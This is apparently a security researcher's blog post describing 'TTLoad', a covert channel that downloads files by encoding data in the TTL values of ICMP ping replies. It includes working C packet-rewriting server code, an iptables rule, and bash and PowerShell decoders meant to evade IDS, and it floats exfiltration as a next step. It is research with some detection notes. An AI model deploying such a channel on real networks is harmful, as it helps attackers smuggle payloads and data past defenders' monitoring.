Ping of Stealth: Covert File Downloads via TTL Manipulation

tmpest

Background

There are many ways of downloading or uploading files on the internet, such as HTTP or FTP. However, given their prolificity, such activities are easily identified and logged. Are there any other channels we can use to transfer data?

For example, the data portion of an ICMP Ping packet is rarely used for anything meaningful. Because of this, many malicious actors have use ICMP for C2 communication or tunneling. However, in this cat-and-mouse game, modern Network Sensors also have rules in place to detect suspicious packets.

If we take a look at the IP header, potentially many of them can be misused:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version|  IHL  |Type of Service|          Total Length         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Identification        |Flags|     Fragment Offset     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Time to Live |    Protocol   |        Header Checksum        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Source Address                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Destination Address                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options                    |    Padding    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Some fields are easier to detect when misused than others. For instance, although the options field has a variable size and can be fairly large, all standard options are well-known. It’s not difficult to envision someone creating detection rules for any misuse of this field.

Another thing to consider is the client-side, or the side where we should want to use our new “protocol”. Some modifications, like using raw sockets, require root privileges. This significantly limits their use case. One tool which is almost always available and runnable by normal users is the ping program.

On linux its output looks like this:

$ ping 1.1.1.1

PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
64 bytes from 1.1.1.1: icmp_seq=1 ttl=57 time=1.16 ms
64 bytes from 1.1.1.1: icmp_seq=2 ttl=57 time=1.17 ms
64 bytes from 1.1.1.1: icmp_seq=3 ttl=57 time=1.14 ms
64 bytes from 1.1.1.1: icmp_seq=5 ttl=57 time=1.05 ms
--- 1.1.1.1 ping statistics ---
5 packets transmitted, 4 received, 20% packet loss, time 4006ms
rtt min/avg/max/mdev = 1.048/1.129/1.170/0.047 ms

On Windows:

PS C:\Users\user > ping 1.1.1.1

Pinging 1.1.1.1 with 32 bytes of data:
Reply from 1.1.1.1: bytes=32 time=1ms TTL=57
Reply from 1.1.1.1: bytes=32 time=1ms TTL=57
Reply from 1.1.1.1: bytes=32 time=2ms TTL=57
Reply from 1.1.1.1: bytes=32 time=1ms TTL=57

Ping statistics for 1.1.1.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 1ms, Maximum = 2ms, Average = 1ms

Here we meet our main character, the ttl field.

It is contained in the IP header and is simply decremented on each hop, so it is decremented each time it goes through a router. This has the purpose of killing routing loops.

Another helpful feature is the seq number, which the client sets and increments by one each time, similar to indexing an array. This value is stored on the client, so the server has to do zero state tracking and can automatically account for multiple simultaneous downloads.

Yay

However, here Windows has to be weird, and their ICMP sequence doesn’t start from 1 for each ping; instead, there is a global ping sequence number. So one ping continues from the sequence number where the previous left off.

different ping behaviour on linux and windows

One thing is for sure: we can find the TTL values in the ping output, which is controlled by the server.

Controlling the TTL

While ttl is an 8 bit field, most normal TTLs are either 64 for Unix machines or 128 for Windows machines. But given the decrementing nature described above, it can be any value from 0 to 128. This doesn’t mean that it is set in stone and things would break if we changed it. In the case of Linux, it is quite simple to change; we can simply use sysctl:

sysctl -w net.ipv4.ip_default_ttl=129

doing this programmatically is a bit of a niche use case, so there are no libraries for dynamically setting the TTL on each packet. No worries, we can roll our own.

In theory, every value between 64-128 would not raise any suspicions. This gives us 64 usable values. but, for some reason, I went with breaking the data into nibbles, so the current implementation uses values from 64-80 (2^4). As you might have guessed, this probably has consequences in terms of bandwidth. (Foreshadowing)

In order to serve files using the TTL, we need to:

  1. Listen for incoming pings
  2. Intercept outgoing ICMP replies
  3. Read the correct nibble from the file array
  4. Set the outgoing TTL

After some googling around, I found that modifying outgoing packets can be done using the libnetfilter library. After setting up the queue with:

iptables -A OUTPUT -p icmp -j NFQUEUE --queue-num 0

Packets can be processed by any program that supports this library.

With the stolen libnetfilter code from here, I was able to modify the outgoing packets.

Full code for both client and server can be found here.

The main part is the packet handler:

static u_int32_t print_pkt(struct nfq_data *tb) {
... 
	ret = nfq_get_payload(tb, &data);
	if (ret >= 0) {
		struct iphdr *ip_header = (struct iphdr *)data;
		if (ip_header->protocol == IPPROTO_ICMP) {
			struct icmphdr *icmp_header = (struct icmphdr *)(data + (ip_header->ihl * 4));
			unsigned short seq_num = ntohs(icmp_header->un.echo.sequence);
			seq_num = seq_num - 1;

			ip_header->ttl = 64 + file_nibbles[seq_num % file_nibble_count];

			ip_header->check = ip_checksum((unsigned short *)ip_header, ip_header->ihl * 4);
			printf("Modified ICMP packet: TTL set to %d\n", ip_header->ttl);
		}
	}
	return id;
}

Now if we ping our server:

$ ping serverip

PING serverip (serverip) 56(84) bytes of data.
64 bytes from serverip: icmp_seq=1 ttl=57 time=67.0 ms
64 bytes from serverip: icmp_seq=2 ttl=55 time=66.4 ms
64 bytes from serverip: icmp_seq=3 ttl=55 time=65.0 ms
64 bytes from serverip: icmp_seq=4 ttl=58 time=66.4 ms
64 bytes from serverip: icmp_seq=5 ttl=57 time=66.5 ms
64 bytes from serverip: icmp_seq=6 ttl=59 time=66.4 ms
64 bytes from serverip: icmp_seq=7 ttl=58 time=65.2 ms
64 bytes from serverip: icmp_seq=8 ttl=51 time=73.2 ms
64 bytes from serverip: icmp_seq=9 ttl=57 time=66.4 ms
64 bytes from serverip: icmp_seq=10 ttl=54 time=66.5 ms
64 bytes from serverip: icmp_seq=11 ttl=58 time=65.2 ms
64 bytes from serverip: icmp_seq=12 ttl=60 time=65.2 ms
64 bytes from serverip: icmp_seq=13 ttl=55 time=65.1 ms
64 bytes from serverip: icmp_seq=14 ttl=53 time=66.5 ms
64 bytes from serverip: icmp_seq=15 ttl=58 time=66.5 ms
^C
--- serverip ping statistics ---
15 packets transmitted, 15 received, 0% packet loss, time 14017ms
rtt min/avg/max/mdev = 65.036/66.496/73.245/1.916 ms

Fun.

But as we can see, TTLs don’t start from 64 because they got decremented in transfer. We have to account for this when decoding by finding the “base TTL” (min TTL).

TTLoad “Protocol”

All that is left is to come up with some encoding scheme. We also need to consider the Windows case, where we do not know from which sequence number we will start iterating, so the encoding scheme should somehow tell the client where the data ends. It would also be nice to have some kind of checksum to verify that the data hasn’t been messed up in transit. The chances of this happening are nonzero because:

  • In the case of Windows, some other program might ping some other host, which will mess up the sequence number and make us skip a nibble or two.
  • Routers between our host and server may decide to change their mind mid-transfer and change the route used to get to the server. This may cause the TTL number base to change mid-transfer, which will also mess up the transfer.

The final “header” looks like this:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    [Base64 Encoded Payload]     |  Zero | Chksm | Zero  | Zero  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Payload size is dynamic, and chksm and zero are each 4 bits wide.

Are this many zero nibbles absolutely critical for the protocol to function? No, but it was the first implementation that I came up with.

The zero nibbles also guarantees that we have a TTL packet that encodes 0 to help us find the base TTL.

Decoding algorithm:

  1. Find the zero nibble, use it as base_ttl
  2. Decode nibbles by subtracting the base TTL from their values
  3. Calculate checksum with (nibble_sum % 256) & 0x0f
  4. Verify checksum
  5. Combine nibbles into bytes
  6. Convert bytes into ASCII
  7. Decode ASCII base64 to bytes
  8. ?????
  9. Profit

Linux Client Implementation

In keeping with the theme of Living Off The Land, this implementation only uses programs that are available on almost all Linux distributions: bash, cat, sort, head, grep, printf, base64, and sed.

Theoretically, the functionality of the programs used in this script could be entirely implemented in bash. However, doing so would increase the size of the final client payload.

#!/bin/bash
ttl_values=($(echo "$(cat)" | grep -oP 'ttl=\K\d+'))
min_ttl=$(printf "%d\n" "${ttl_values[@]}" | sort -n | head -1)

for ((i=0; i<${#ttl_values[@]}-1; i++)); do
  if ((ttl_values[i] == min_ttl && ttl_values[i+1] == min_ttl)); then
    payload_end_index=$i
    break
  fi
done
echo "min ttl: $min_ttl"
arraylen=$((${#ttl_values[@]}))
for ((i=0; i<${#ttl_values[@]}-1; i++)); do
	echo -n "	${ttl_values[i]}" 
done

echo -e "\n$payload_end_index\n"

for ((i=0; i<${#ttl_values[@]}-1; i++)); do
	echo -n "	${i}" 
done
echo ""

base64_hex_array=()
for ((i=0; i<arraylen; i++)); do
	base64_hex_array+=("${ttl_values[ (arraylen+i+payload_end_index+2)%arraylen ]}")
done
echo "Final base64 array:"
printf "%d " "${base64_hex_array[@]}"
echo

base64_hex=""
checksum=0

for ((i=0; i<${#base64_hex_array[@]}-4; i+=2)); do
  upper_nibble=$((base64_hex_array[i] - min_ttl))
  if ((i+1 < ${#base64_hex_array[@]})); then
    lower_nibble=$((base64_hex_array[i+1] - min_ttl))
  else
    lower_nibble=0
  fi

  base64_hex_char=$(printf "%02x" $((upper_nibble << 4 | lower_nibble)))
  
  base64_hex+="$base64_hex_char"
  checksum=$((((checksum + upper_nibble + lower_nibble) % 256) & 0x0f ))
done
checksum_ttl=$((ttl_values[payload_end_index-1] - min_ttl))
echo -e "checksum $checksum\ngrabbed checksum:$checksum_ttl"

if ((checksum != checksum_ttl)); then
  echo "Checksum mismatch. The data may be corrupted."
fi

base64_string=$(printf %b $(printf %s "$base64_hex"|while read -r -n2 c;do printf "\x$c";done))
echo "base string: $base64_string"
decoded_string=$(echo $base64_string | base64 -d -w0)
echo "Decoded string: $decoded_string"

This is by no means the smallest implementation of the decoding algorithm. It is just the code that was easiest for me to wrap my head around and debug while building this.

Windows Client Implementation

For Windows, I greatly relied on my AI sidekick because I still haven’t sat down to properly learn PowerShell. I don’t know what else to add… It Works™.

# Send ICMP echo requests to the IP address SERVER_IP and store the TTL values in the $ttlValues array
$ttlValues = 1..68 | ForEach-Object { ([System.Net.NetworkInformation.Ping]::new().Send('SERVER_IP')).Options.Ttl }

# Find the minimum TTL value
$minTtl = ($ttlValues | Sort-Object)[0]

# Find the index of the first occurrence of two consecutive minimum TTL values
$pivotIndex = -1
for ($i = 0; $i -lt $ttlValues.Count - 1; $i++) {
    if ($ttlValues[$i] -eq $minTtl -and $ttlValues[$i + 1] -eq $minTtl) {
        $pivotIndex = $i
        break
    }
}

# Rearrange the TTL values based on the pivot index
$rearrangedTtlValues = @()
$arrayLength = $ttlValues.Count
for ($i = 0; $i -lt $arrayLength; $i++) {
    $rearrangedTtlValues += $ttlValues[($arrayLength + $i + $pivotIndex + 2) % $arrayLength]
}

# Extract the hidden message from the rearranged TTL values
$hiddenMessage = ""
$checksum = 0
for ($i = 0; $i -lt $rearrangedTtlValues.Count - 4; $i += 2) {
    $upperNibble = $rearrangedTtlValues[$i] - $minTtl
    $lowerNibble = if ($i + 1 -lt $rearrangedTtlValues.Count) { $rearrangedTtlValues[$i + 1] - $minTtl } else { 0 }
    $hexByte = "{0:X2}" -f ($upperNibble -shl 4 -bor $lowerNibble)
    $hiddenMessage += $hexByte
    $checksum = (($checksum + $upperNibble + $lowerNibble) % 256) -band 0x0f
}

# Verify the checksum
$checksumValue = $ttlValues[$pivotIndex - 1] - $minTtl
if ($checksum -ne $checksumValue) {
    "Checksum mismatch. The data may be corrupted."
}
else {
    # Convert the hidden message from hex to bytes
    $messageBytes = @()
    for ($i = 0; $i -lt $hiddenMessage.Length; $i += 2) {
        $byte = [Convert]::ToByte($hiddenMessage.Substring($i, 2), 16)
        $messageBytes += $byte
    }

    # Decode the hidden message from UTF-8
    $decodedMessage = [System.Text.Encoding]::UTF8.GetString($messageBytes)

    # Decode the base64-encoded message
    [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($decodedMessage))
}

The server automatically generates minified, one-liner versions of these scripts.

Speed Comparison

For testing, I used a server that was 14 hops away with an average ping time of 66.6 ms. Transferring a 1024-byte file took 2740*2 ping packets and 21.511 seconds, which amounts to about 48 bytes per second.

It also took two tries to get the checksum correct.

Demo

Here’s a gif of me downloading lorem ipsum from the same server:

Demo

Edge Cases

If you are going to test or use this method somewhere, first verify that nothing between you and the server is mucking around with TTLs. In my testing, I found out that apparently VirtualBox with a network card in NAT mode simply overwrites the TTLs to 128, even if you are pinging something that is in Antarctica.

The same thing was done by the router of one of my friends.

So just ping the server and check that the TTL is indeed changing.

Detection Strategies

As far as I know, using this method to download small bytes would fly past any IDS/IPS and network sensors. The only thing that would trigger some alert is the number of pings being sent and the relatively small interval between them. The interval can be increased, but any experienced network analyst would instantly catch on to the fact that something weird is going on.

Detecting such communications requires analysis of multiple ping packets together to detect that the TTL is changing all willy-nilly. Most IDS engines, such as the ones in Suricata and Snort, work on a one-packet-at-a-time basis, so they wouldn’t detect such things. However, I think it could be done using Zeek, although that’s just a hypothesis that I have not tested.

Future Plans

The main design mistake was using nibbles for transmission. Like I mentioned at the top, in theory, we have a range of 0-64 which we can add and subtract from TTLs. What else has 64 possible values? Base64. And we are using base64… but we’re encoding the values in nibbles. It would be MUCH more efficient to just transfer the possible base64 values as 0-64 values and maybe have +1 value for a zero byte. This would theoretically double the throughput of this method.

Downloading files is great and all, but the holy grail of using protocols for what they were not designed for is to use them for data exfiltration. Can this be done with TTLs? SURE. Since the client also sets the TTL (without root privileges) value before sending it, this can, in theory, even facilitate two-way conversation between client and server. So I guess stay tuned for TTLoad part 2?